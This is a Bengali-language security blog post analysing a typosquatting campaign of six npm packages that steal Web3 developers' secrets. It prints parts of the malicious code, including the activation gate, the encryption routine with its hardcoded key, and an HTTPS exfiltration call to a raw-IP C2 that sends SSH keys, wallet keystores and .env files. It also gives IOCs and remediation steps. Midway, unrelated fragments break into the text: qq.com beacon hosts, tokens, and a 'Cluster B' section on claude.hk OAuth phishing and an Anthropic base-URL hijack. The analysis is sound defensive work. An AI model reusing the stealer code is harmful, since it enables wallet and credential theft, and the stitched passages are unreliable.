EVMDeFi npm টাইপোস্কোয়াটিং আক্রমণে ডেভেলপারদের কী চুরি হয়েছে

EVM/DeFi npm টাইপোস্কোয়াটিং আক্রমণে ডেভেলপারদের কী চুরি হয়েছে

সুচিপত্র

অবশ্যই পঠনীয় পোস্ট

আগ্রহের সর্বশেষ পোস্টগুলি

TL; ডিআর

২০২৬ সালের ৬ই মে, একটিমাত্র এনপিএম পাবলিশার, namikazesarada010206ইথেরিয়াম, সলিডিটি এবং ডিফাই ডেভেলপার ইকোসিস্টেমকে লক্ষ্য করে ছয়টি ক্ষতিকারক প্যাকেজ ছড়ানো হয়েছে।

প্যাকেজগুলো, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, এবং web3-utils-coreজনপ্রিয় Web3 টুলিংয়ের হেল্পার লাইব্রেরির মতো দেখতে বিশ্বাসযোগ্য নাম ব্যবহার করা হয়েছিল।

ছয়টি প্যাকেজের সবকটিতেই একই জিনিস ছিল telemetry.js ফাইল। ফাইলটি ক্লাস্টার জুড়ে বাইট-অভিন্ন ছিল, এবং এর SHA-256 ছিল:

রয়েছে SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

ম্যালওয়্যারটি ইনস্টলের সময় কার্যকর হয় না। কোনো preinstall or postinstall হুক। এর পরিবর্তে, প্যাকেজটি এর মাধ্যমে ইম্পোর্ট করা হলে এটি সক্রিয় হয়। require().

এই বিবরণটি গুরুত্বপূর্ণ।

ইমপ্লান্টটি ততক্ষণ অপেক্ষা করে যতক্ষণ না কোনো ডেভেলপার প্রকৃতপক্ষে প্যাকেজটি ব্যবহার করেন। তারপর এটি পরীক্ষা করে দেখে যে ওয়ার্কস্টেশনটি একটি আসল Ethereum / Solidity ডেভেলপমেন্ট এনভায়রনমেন্টের মতো দেখতে কি না। এটি Alchemy বা Infura কী, প্রাইভেট কী, নেমোনিক, ডিপ্লয়ার কী, অথবা একটি স্থানীয় Foundry ডিরেক্টরি খুঁজে দেখে।

হোস্ট মিলে গেলে, চোর SSH প্রাইভেট কী, Foundry / Geth / Brownie ওয়ালেট কীস্টোর সংগ্রহ করে নেয়। .env* ফাইল এবং সংবেদনশীল এনভায়রনমেন্ট ভেরিয়েবল। এটি একটি হার্ডকোডেড পাসফ্রেজ ব্যবহার করে AES-256-GCM দিয়ে বান্ডেলটি এনক্রিপ্ট করে এবং TLS ভেরিফিকেশন নিষ্ক্রিয় করে একটি র IPv4 C2 এন্ডপয়েন্টে পাচার করে।

জাইজেনির ম্যালওয়্যার আর্লি ওয়ার্নিং (MEW) সিস্টেম ছয়টি প্যাকেজকেই ক্ষতিকর হিসেবে নিশ্চিত করেছে। এনপিএম রেজিস্ট্রি টেকডাউন রিপোর্ট বান্ডেলটি প্রক্রিয়াধীন রয়েছে।

ক্লাস্টার: ছয়টি প্যাকেজ, একজন প্রকাশক

প্রকাশকের অ্যাকাউন্ট namikazesarada010206 যাচাইবিহীন জিমেইল ঠিকানার সাথে সংযুক্ত ছিল namikazesarada010206@gmail.com.

এই প্রচারণাটি ৬ই মে, ২০২৬ তারিখে একদিনের প্রকাশনা হিসেবে প্রকাশিত হয়েছিল। ছয়টি প্যাকেজকেই বিভিন্ন সংস্করণে ভাগ করা হয়েছিল, যেমন— 1.0.0এর কোনো রানটাইম নির্ভরতা ছিল না এবং এটি মাত্র তিনটি ফাইল সরবরাহ করত:

package.json index.js telemetry.js

তারাও একই উৎস সংগ্রহস্থল ঘোষণা করেছে:

https://github.com/harunosakura030303-maker/evmchain-config

প্রথম তিনটি প্যাকেজ প্রথম প্রকাশের সময়ই MEW স্ক্যানারের নজরে আসে। প্রকাশকের npm প্রোফাইল বিশ্লেষকদের পর্যালোচনার পর বাকি তিনটিকে জোরপূর্বক ফ্ল্যাগ করা হয়। telemetry.js ক্লাস্টার জুড়ে এটি নিশ্চিত হওয়ার পর, সামঞ্জস্যের ভিত্তিতে সেগুলোকে ক্ষতিকারক হিসেবে বন্ধ করে দেওয়া হয়।

প্যাকেজ সংস্করণ এনপিএম প্রকাশিত MEW টিকিট রায়
ভিয়েম-কোর 1.0.0 2026-05-06 01:38:44Z #51049 বিদ্বেষপরায়ণ
viem-utils-core 1.0.0 2026-05-06 #51050 বিদ্বেষপরায়ণ
হার্ডহ্যাট-কোর-ইউটিলস 1.0.0 2026-05-06 #51051 বিদ্বেষপরায়ণ
evm-utils 1.0.0 2026-05-06 #51069 ধারাবাহিকতার দ্বারা বিদ্বেষপূর্ণ
ফাউন্ড্রি-ইউটিলস 1.0.0 2026-05-06 #51071 ধারাবাহিকতার দ্বারা বিদ্বেষপূর্ণ
web3-utils-core 1.0.0 2026-05-06 #51070 ধারাবাহিকতার দ্বারা বিদ্বেষপূর্ণ

নামকরণের কৌশলটি সরল কিন্তু কার্যকর।

এই প্যাকেজগুলো মূল উৎসের হুবহু নাম নকল করে না। পরিবর্তে, এগুলো বিশ্বাসযোগ্য “ইউটিলিটি” প্রত্যয় ব্যবহার করে, যেমন— -core, -utils, এবং -utils-coreএর ফলে এগুলোকে এমন সহায়ক লাইব্রেরির মতো দেখায়, যা একজন ডেভেলপার Web3 টুলিংয়ের পাশে দেখতে আশা করতে পারেন।

ক্ষতিকর প্যাকেজ বৈধ লক্ষ্য
ভিয়েম-কোর ভিয়েম, একটি জনপ্রিয় ইথেরিয়াম টাইপস্ক্রিপ্ট ক্লায়েন্ট
viem-utils-core ভিয়েম
হার্ডহ্যাট-কোর-ইউটিলস হার্ডহ্যাট, একটি মূলধারার সলিডিটি ডেভেলপমেন্ট পরিবেশ
evm-utils জেনেরিক EVM টুলিং নেমস্পেস
ফাউন্ড্রি-ইউটিলস ফাউন্ড্রি, একটি সলিডিটি টুলচেইন
web3-utils-core web3-utils, Web3.js হেল্পার

এটাই হলো “পরিপূরক প্যাকেজ” প্যাটার্ন: এর মানে এই নয় যে “আমিই আসল প্যাকেজ,” বরং এর মানে হলো “আমি আসল প্যাকেজটির আশেপাশে একজন যুক্তিসঙ্গত সহায়কের মতো দেখাই।”

দ্রুত অগ্রসরমান DeFi ডেভেলপারদের জন্য, এটিই ঝুঁকি তৈরি করার পক্ষে যথেষ্ট।

প্যাকেজটি আমদানি করা হলে কী ঘটে

এই আক্রমণ শৃঙ্খলটি ছোট, পরিকল্পিত এবং ক্রিপ্টো-উন্নয়ন পরিবেশকে কেন্দ্র করে পরিচালিত।

কোনো ইনস্টলেশন হুক নেই। পরিবর্তে, প্রতিটি প্যাকেজে একটি অন্তর্ভুক্ত থাকে। index.js যা স্টাব কার্যকারিতা রপ্তানি করে এবং তারপর ক্ষতিকারক টেলিমেট্রি মডিউলটি লোড করে।

require('./telemetry').init();

এর মানে হলো, ম্যালওয়্যারটি প্রথমবার ইম্পোর্ট করার সময়ই সক্রিয় হয়ে যায়।

এটি আক্রমণকারীর জন্য কার্যকরীভাবে সুবিধাজনক। অনেক স্ক্যানার এবং স্যান্ডবক্স ইনস্টল-কালীন আচরণের উপর মনোযোগ দেয়। এই প্যাকেজটি অপেক্ষা করে যতক্ষণ না এটি কোনো ডেভেলপার, বিল্ড স্ক্রিপ্ট, টেস্ট স্যুট বা রানটাইম পাথ দ্বারা প্রকৃতপক্ষে ব্যবহৃত হয়।

অ্যাক্টিভেশন গেট: শুধুমাত্র আসল ওয়েব৩ ডেভেলপার ওয়ার্কস্টেশনগুলিতেই সক্রিয় হবে

ইমপ্লান্টের সবচেয়ে গুরুত্বপূর্ণ অংশ হলো অ্যাক্টিভেশন গেট।

এই ম্যালওয়্যারটি ইথেরিয়াম / সলিডিটি ডেভেলপারদের মেশিনে সাধারণত পাওয়া যায় এমন এনভায়রনমেন্ট ভেরিয়েবলগুলো পরীক্ষা করে:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

এটি আরও পরীক্ষা করে দেখে যে Foundry ইনস্টল করা আছে কিনা:

fs.existsSync(path.join(os.homedir(), '.foundry'))

যদি কোনো শর্তই সত্য না হয়, তাহলে ফাংশনটি রিটার্ন করে এবং কিছুই করে না।

এটি সাধারণ বিশ্লেষণ পরিবেশে প্যাকেজটিকে আরও নীরব করে তোলে। Foundry, Alchemy কী, Infura কী, প্রাইভেট কী বা নেমোনিকস ছাড়া কোনো স্যান্ডবক্সে একটি নিরীহ-দেখানো ইম্পোর্ট দেখা যেতে পারে।

একই রকম হোস্টে, ম্যালওয়্যারটি ডেটা সংগ্রহের আগে ৬০ থেকে ৯০ সেকেন্ড অপেক্ষা করে:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

এই বিলম্ব আমদানি ও বহির্গমনের মধ্যেকার সুস্পষ্ট সম্পর্ককে হ্রাস করে। .unref() যদি প্যাকেজটি কোনো স্বল্পস্থায়ী স্ক্রিপ্টে ইম্পোর্ট করা হয়ে থাকে, তাহলেও এই কলটি হোস্ট প্রসেসকে স্বাভাবিকভাবে বন্ধ হতে দেয়।

এটি কোনো হৈচৈপূর্ণ লুটপাট আচরণ নয়। এটি একটি সুনির্দিষ্ট চোর, যা ডেভেলপার পরিবেশটি চুরি করার মতো মূল্যবান না হলে চালু হওয়া এড়ানোর জন্য ডিজাইন করা হয়েছে।

চোর যা সংগ্রহ করে

অ্যাক্টিভেশন গেটটি পার হয়ে গেলে, ম্যালওয়্যারটি Web3 ডেভেলপমেন্টের জন্য সবচেয়ে গুরুত্বপূর্ণ উৎসগুলো থেকে তথ্য সংগ্রহ করে: প্রাইভেট কী, ওয়ালেট কীস্টোর, ডেপ্লয়মেন্ট ক্রেডেনশিয়াল, ক্লাউড সিক্রেট, এনপিএম টোকেন এবং লোকাল প্রজেক্ট কনফিগারেশন।

উৎস যা সংগ্রহ করা হয়
প্রক্রিয়া.এনভ /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i এর সাথে মেলে এমন যেকোনো ভেরিয়েবল
~/.ssh/* PRIVATE KEY বা BEGIN OPENSSH ধারণকারী ফাইল, সম্পূর্ণ ফাইলের বিষয়বস্তু সহ
~/.foundry/keystores/* ফাউন্ড্রি ওয়ালেট কীস্টোর ফাইল
~/.ethereum/keystore/* গেথ ওয়ালেট কীস্টোর ফাইল
~/.brownie/accounts/* ব্রাউনি ওয়ালেট কীস্টোর ফাইল
${cwd}/.env সম্পূর্ণ ফাইলের বিষয়বস্তু
${cwd}/.env.local সম্পূর্ণ ফাইলের বিষয়বস্তু
${cwd}/.env.production সম্পূর্ণ ফাইলের বিষয়বস্তু
${cwd}/.env.development সম্পূর্ণ ফাইলের বিষয়বস্তু
os.hostname() হোস্ট মেটাডেটা
ক্রিপ্টো.র‍্যান্ডমইউইউআইডি() ভুক্তভোগী/সেশন শনাক্তকারী
Date.now() সংগ্রহের সময়চিহ্ন
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA টোকেনগুলো হলো:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

আমরা নিশ্চিত করতে পারিনি যে টেলিমেট্রিটি অপারেটরের নিজস্ব অ্যানালিটিক্স ছিল, নাকি এটি একটি আলাদাভাবে অর্থায়িত চ্যানেল ছিল। আমাদের পরীক্ষা করা উভয় নমুনাতেই ATTA টোকেনগুলো একই।

ক্লাস্টার বি: হেবাই

claude.hk OAuth ফিশিং + ANTHROPIC_BASE_URL হাইজ্যাক

১লা এপ্রিলের নমুনাটি এই প্রচারণার অপেক্ষাকৃত অপরিশোধিত ও প্রাথমিক পর্যায়।

heibai:2.1.88-claude.hk-4 দ্বারা প্রকাশিত হয়েছিল wuguoqiangvip28, একটি অ্যাকাউন্ট যা ৭ জুন, ২০২৫-এ তৈরি করা হয়েছে। প্যাকেজটি বৈধটির বিপরীতে নিজেকে স্পষ্টভাবে সংস্করণভুক্ত করেছে। 2.1.88 মানবসৃষ্ট মুক্তি।

এটি CA-cert MITM নিয়ে মাথা ঘামায় না। পরিবর্তে, এটি OAuth এন্ডপয়েন্ট সম্পর্কে ব্যবহারকারীকে মিথ্যা তথ্য দেয়।

ফাঁস হওয়া ক্লড কোড সোর্সের উপরে যে ক্ষতিকর সংযোজনগুলো করা হয়েছে, সেগুলো হলো:

উৎস যা সংগ্রহ করা হয়
প্রক্রিয়া.এনভ /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i এর সাথে মেলে এমন যেকোনো ভেরিয়েবল
~/.ssh/* PRIVATE KEY বা BEGIN OPENSSH ধারণকারী ফাইল, সম্পূর্ণ ফাইলের বিষয়বস্তু সহ
~/.foundry/keystores/* ফাউন্ড্রি ওয়ালেট কীস্টোর ফাইল
~/.ethereum/keystore/* গেথ ওয়ালেট কীস্টোর ফাইল
~/.brownie/accounts/* ব্রাউনি ওয়ালেট কীস্টোর ফাইল
${cwd}/.env সম্পূর্ণ ফাইলের বিষয়বস্তু
${cwd}/.env.local সম্পূর্ণ ফাইলের বিষয়বস্তু
${cwd}/.env.production সম্পূর্ণ ফাইলের বিষয়বস্তু
${cwd}/.env.development সম্পূর্ণ ফাইলের বিষয়বস্তু
os.hostname() হোস্ট মেটাডেটা
ক্রিপ্টো.র‍্যান্ডমইউইউআইডি() ভুক্তভোগী/সেশন শনাক্তকারী
Date.now() সংগ্রহের সময়চিহ্ন

লক্ষ্যবস্তুর তালিকাটি অত্যন্ত সুনির্দিষ্ট। এটি কোনো সাধারণ ব্রাউজার চুরি বা ব্যাপক ক্রেডেনশিয়াল স্ক্র্যাপিং নয়। এর লক্ষ্য হলেন সেইসব ডেভেলপার, যারা ইথেরিয়াম অ্যাপ্লিকেশন তৈরি, পরীক্ষা, স্থাপন বা পরিচালনা করেন।

Foundry, Geth, এবং Brownie কীস্টোরগুলোর অন্তর্ভুক্তি বিশেষভাবে গুরুত্বপূর্ণ। এই ফাইলগুলো ওয়ালেট বা ডেপ্লয়মেন্ট আইডেন্টিটিতে সরাসরি অ্যাক্সেসের সুযোগ করে দিতে পারে। যদি আক্রমণকারী এগুলোকে পাসওয়ার্ড, নেমোনিক বা এনভায়রনমেন্ট সিক্রেটের সাথে যুক্ত করতে পারে, তবে তারা তহবিল স্থানান্তর করতে, ডেপ্লয়ারদের ছদ্মবেশ ধারণ করতে, অথবা স্মার্ট কন্ট্রাক্টের কার্যক্রম ব্যাহত করতে সক্ষম হতে পারে।

বহির্গমনের পূর্বে এনক্রিপশন

ম্যালওয়্যারটি সংগৃহীত ডেটা পাঠানোর আগে এনক্রিপ্ট করে।

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

হার্ডকোডেড পাসফ্রেজটি হলো:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

চূড়ান্ত পেলোডটি JSON হিসাবে মোড়ানো থাকে:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

এনক্রিপশন নিজে থেকে ম্যালওয়্যারকে আরও উন্নত করে না। তবে, এটি নেটওয়ার্ক পরিদর্শনকে আরও কঠিন করে তোলে। বহির্গমন পর্যবেক্ষণকারী একজন ডিফেন্ডার একটি JSON পেলোড দেখতে পাবে, কিন্তু চুরি করা কী, ওয়ালেট ফাইল বা অন্য কিছু দেখতে পাবে না। .env হার্ডকোডেড পাসফ্রেজ এবং ডিক্রিপশন লজিক ছাড়া বিষয়বস্তু।

একটি কাঁচা IPv4 C2 তে তথ্য পাচার

বহির্গমন পথটি হার্ডকোড করা আছে:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

ম্যালওয়্যারটি ডেটা পাঠায়:

https://76.13.37.80:8443/api/v1/telemetry

দুটি বিষয় বিশেষভাবে লক্ষণীয়।

প্রথমত, C2 একটি ডোমেইন না হয়ে একটি র' IPv4 অ্যাড্রেস। এর ফলে ডোমেইন রেজিস্ট্রেশনের প্রয়োজন হয় না এবং ডোমেইন-ভিত্তিক কিছু শনাক্তকরণ এড়ানো যায়।

দ্বিতীয়ত, নিম্নলিখিত কারণে TLS যাচাইকরণ নিষ্ক্রিয় করা হয়েছে:

rejectUnauthorized: false

এর ফলে ম্যালওয়্যারটি সেলফ-সাইন্ড সার্টিফিকেটসহ যেকোনো সার্টিফিকেট গ্রহণ করতে পারে। অন্য কথায়, আক্রমণকারী কোনো বৈধ পাবলিক সার্টিফিকেটের প্রয়োজন ছাড়াই এনক্রিপ্টেড ট্রান্সপোর্ট পেয়ে যায়।

এখানে পুনরায় চেষ্টা করার কোনো লজিক বা ফলব্যাক হোস্ট নেই। ত্রুটিগুলো নীরবে চাপা পড়ে যায়। এর ফলে, C2 অফলাইন বা নাগালের বাইরে থাকলে প্যাকেজটি নিষ্ক্রিয় থাকে।

এই প্রচারণা কেন গুরুত্বপূর্ণ

ডেভেলপারদের লক্ষ্য করে তৈরি বেশিরভাগ ক্ষতিকর এনপিএম প্যাকেজগুলো বিভিন্ন ধরনের ক্রেডেনশিয়াল, যেমন—এনপিএম টোকেন, AWS কী, গিটহাব টোকেন, ইত্যাদি সংগ্রহ করে। .npmrc ফাইল।

এই প্রচারণাটি লক্ষ্যবস্তুকে সংকুচিত করে।

এটি এমন লক্ষণ খোঁজে যা থেকে বোঝা যায় মেশিনটি কোনো ইথেরিয়াম বা সলিডিটি ডেভেলপারের। তারপর এটি সেই এনভায়রনমেন্ট থেকে ঠিক সেই অ্যাসেটগুলোই নিয়ে আসে যা গুরুত্বপূর্ণ: ওয়ালেট কীস্টোর, প্রাইভেট কী, মেমোনিক, ডিপ্লয়ার কী। .env ফাইল এবং SSH কী।

এটি এই ক্যাম্পেইনটিকে Web3 টিমগুলোর জন্য একটি সাধারণ npm স্টিলারের চেয়েও বেশি বিপজ্জনক করে তোলে।

সফল সংক্রমণ প্রকাশ করতে পারে:

  • ডেপ্লয়মেন্ট ওয়ালেট
  • স্মার্ট চুক্তি অ্যাডমিন কী
  • RPC প্রদানকারী কী
  • ক্লাউড ডেপ্লয়মেন্ট ক্রেডেনশিয়াল
  • এনপিএম টোকেন প্রকাশ করছে
  • ডেভেলপার বা বিল্ড পরিকাঠামোতে SSH অ্যাক্সেস
  • প্রকল্পের গোপনীয় তথ্য সংরক্ষিত আছে .env নথি পত্র
  • Foundry, Geth, বা Brownie-এর জন্য ওয়ালেট কীস্টোর

প্যাকেজের নামগুলোতেও স্পষ্ট সোশ্যাল ইঞ্জিনিয়ারিং দেখা যায়। তারা পরিচিত টুলের নাম ব্যবহার করে Web3 ডেভেলপার ইকোসিস্টেমকে টার্গেট করে: viem, hardhat, foundry, evm, এবং web3.

অভিনেতাকে মূল প্রকল্পগুলোর সাথে আপোস করার কোনো প্রয়োজন নেই। তাদের শুধু একজন ডেভেলপারের প্রয়োজন, যিনি একটি যুক্তিসঙ্গত সহায়ক প্যাকেজ ইনস্টল করে দেবেন।

আপসের সূচক এবং সনাক্তকরণ

প্যাকেজ এবং প্রকাশক
ক্ষেত্র মূল্য
এনপিএম প্রকাশক নামিকাজেসারাদা০১০২০৬
প্রকাশকের ইমেল namikazesarada010206@gmail.com
ইমেইল যাচাই না
SCM ভেরিফাইড না
খ্যাতি স্কোর 1.0
প্যাকেজ viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
সংস্করণ সমস্ত 1.0.0
উৎস সংগ্রহস্থল https://github.com/harunosakura030303-maker/evmchain-config
ক্ষতিকারক হিসেবে নিশ্চিত ছয়টি প্যাকেজই
নেটওয়ার্ক
আদর্শ মূল্য
C2 প্রান্তবিন্দু https://76.13.37.80:8443/api/v1/telemetry
সি২ আইপি 76.13.37.80
C2 পোর্ট 8443/টিসিপি
টিএলএস আচরণ অননুমোদিত প্রত্যাখ্যান: মিথ্যা
পেলোড স্কিমা {"v":2,"iv": ,"d": ,"t": }
ফাইল এবং হ্যাশ
আদর্শ মূল্য
টেলিমেট্রি.জেএস SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
প্যাকেজ লেআউট package.json, index.js, telemetry.js
ফাইলের সংখ্যা 3
আনুমানিক মোট আকার 3.4 কিলোবাইট

সক্রিয়করণ সংকেত

ম্যালওয়্যারটি এই এনভায়রনমেন্ট ভেরিয়েবলগুলো পরীক্ষা করে:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

এটি আরও যা যা যাচাই করে:

~/.foundry/

লক্ষ্যযুক্ত হোস্ট পাথ

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

সংগ্রহ রেজেক্স

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

সনাক্তকরণ নোট

সম্পূর্ণ আচরণগত বিশ্লেষণ ছাড়াই বেশ কিছু নিয়ম এই প্রচারণাটিকে ধরে ফেলে।

প্রথমে, লকফাইলগুলো স্ক্যান করে ছয়টি ক্ষতিকারক প্যাকেজের নাম খুঁজুন:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

যেকোনো ম্যাচ package-lock.json, yarn.lock, pnpm-lock.yaml, বা node_modules ইতিহাসকে একটি গুরুতর ঘটনা হিসেবে বিবেচনা করা উচিত।

দ্বিতীয়ত, ওয়ালেট কীস্টোর পাথগুলো পড়ছে এমন Node.js প্রসেসগুলোর ওপর নজর রাখুন:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

হেল্পার ডিপেন্ডেন্সি হিসেবে ইম্পোর্ট করা কোনো প্যাকেজের জন্য এটি খুব কমই বৈধ আচরণ। এর পরে যখন বহির্গামী নেটওয়ার্ক কার্যকলাপ দেখা যায়, তখন এটি বিশেষভাবে সন্দেহজনক হয়ে ওঠে।

তৃতীয়ত, HTTPS সংযোগগুলির ক্ষেত্রে ব্লক বা সতর্ক করুন:

76.13.37.80:8443

বিশেষ করে যখন অনুরোধের পথটি হয়:

/api/v1/telemetry

চতুর্থত, এমন npm প্যাকেজ খুঁজুন যেগুলোতে এই বৈশিষ্ট্যগুলো একত্রিত আছে:

  • নতুন বা কম খ্যাতিসম্পন্ন প্রকাশক
  • যাচাইবিহীন জিমেইল অ্যাকাউন্ট
  • Web3-সংলগ্ন প্যাকেজের নাম
  • কোনো অর্থপূর্ণ সংগ্রহস্থলের ইতিহাস নেই
  • ক্ষুদ্র প্যাকেজ বিন্যাস
  • index.js যেটি একটি টেলিমেট্রি বা সহায়ক ফাইল লোড করে
  • কোন রানটাইম নির্ভরতা নেই
  • সংবেদনশীল পরিবেশ-পরিবর্তনশীল সংগ্রহ
  • ওয়ালেট কীস্টোর অ্যাক্সেস

এই প্যাটার্নটি একটি একক IOC-এর চেয়ে বেশি উপযোগী, কারণ পরবর্তী প্যাকেজটি IP অ্যাড্রেস পরিবর্তন করলেও টার্গেটিং লজিক একই রাখতে পারে।

আপোস প্রতিক্রিয়া চেকলিস্ট

যদি কোনো ডেভেলপার ছয়টি প্যাকেজের মধ্যে একটি ব্যবহার করে থাকেন এবং তার পরিবেশ অ্যাক্টিভেশন গেটের সাথে মিলে যায়, তাহলে ওয়ার্কস্টেশনটিকে আপোসকৃত হিসেবে গণ্য করুন।

এর মধ্যে অন্তর্ভুক্ত রয়েছে Foundry ইনস্টল করা মেশিন, এনভায়রনমেন্টে থাকা Alchemy বা Infura কী, প্রাইভেট কী, নিউমোনিক, বা ডিপ্লয়ার কী।

প্রস্তাবিত প্রতিক্রিয়া:

  • নেটওয়ার্ক থেকে হোস্টটিকে সংযোগ বিচ্ছিন্ন করুন।
  • বাঁচাইয়া রাখা node_modulesলকফাইল, শেল হিস্ট্রি এবং ফরেনসিকের জন্য প্রাসঙ্গিক লগ।
  • প্রতিটি SSH কীপেয়ারকে পর্যায়ক্রমে ঘোরান ~/.ssh/.
  • প্রতিটি কীস্টোরের অধীনে ওয়ালেট কীগুলি ঘোরান ~/.foundry, ~/.ethereum, এবং ~/.brownie.
  • নতুন ওয়ালেটে তহবিল স্থানান্তর করুন।
  • সংরক্ষিত প্রতিটি গোপনীয় বিষয় ঘোরান .env* ডেভেলপার যে রিপোজিটরিগুলোতে কাজ করেছেন, সেগুলোর ফাইল।
  • কালেকশন রেজেক্সের সাথে মেলে এমন এনভায়রনমেন্ট সিক্রেটগুলো রোটেশন করুন, যার মধ্যে রয়েছে AWS কী, npm টোকেন, ডিপ্লয় টোকেন, API কী, প্রাইভেট কী, সিড এবং নেমোনিক।
  • প্যাকেজটি প্রথম ইনস্টল করার পর থেকে ক্লাউড, এনপিএম, গিটহাব, আরপিসি প্রোভাইডার এবং ব্লকচেইন কার্যকলাপ নিরীক্ষা করুন।
  • পুনরায় ব্যবহারের আগে ওয়ার্কস্টেশনটি রি-ইমেজ করুন।

ডিফেন্ডারদের যা মনে রাখা উচিত

এই প্রচারাভিযানটি দেখায় কিভাবে উচ্চ-মূল্যের ডেভেলপার ইকোসিস্টেমকে কেন্দ্র করে এনপিএম টাইপোস্কোয়াটিং বিকশিত হচ্ছে।

অ্যাক্টরটির স্থায়িত্বের প্রয়োজন ছিল না। তাদের তথ্য গোপনেরও প্রয়োজন ছিল না। এমনকি তাদের ইনস্টল-টাইম এক্সিকিউশনেরও প্রয়োজন ছিল না।

পরিবর্তে, তারা তিনটি জিনিসের উপর নির্ভর করত:

  • সম্ভাব্য ওয়েব৩ প্যাকেজের নাম
  • শুধুমাত্র আসল ক্রিপ্টো-ডেভেলপমেন্ট মেশিনে সক্রিয়করণ
  • ইথেরিয়াম ডেভেলপারদের জন্য সবচেয়ে গুরুত্বপূর্ণ ফাইল এবং গোপনীয় তথ্য সরাসরি চুরি।

এর ফলে, ব্যাপক পর্যবেক্ষণে প্রচারণাটি সহজে চোখ এড়িয়ে যেতে পারে এবং সঠিক পরিবেশে পড়লে তা বিপজ্জনক হয়ে ওঠে।

Web3 টিমগুলোর জন্য শিক্ষাটি স্পষ্ট: ডিপেন্ডেন্সির নামগুলোকে আপনার থ্রেট মডেলের অংশ হিসেবে বিবেচনা করুন। একটি প্যাকেজ, যা দেখতে নিরীহ সহায়কের মতো, সেটিও ওয়ালেট কম্প্রোমাইজের সবচেয়ে সহজ পথ হয়ে উঠতে পারে।

এনপিএম রেজিস্ট্রি-তে বিষয়টি জানানো হয়েছে। পাবলিশার অ্যাকাউন্ট এবং প্যাকেজগুলো সরিয়ে ফেলা হলে আমরা এই পোস্টটি আপডেট করব।

sca-tools-software-composition-analysis-tools
আপনার সফটওয়্যারের ঝুঁকিগুলোকে অগ্রাধিকার দিন, প্রতিকার করুন এবং সুরক্ষিত করুন।
আপনার বিনামূল্যে অ্যাকাউন্টটি নিন।
কোন ক্রেডিট কার্ড প্রয়োজন নেই

আপনার সফটওয়্যার উন্নয়ন ও বিতরণ সুরক্ষিত করুন

Xygeni প্রোডাক্ট স্যুটের সাথে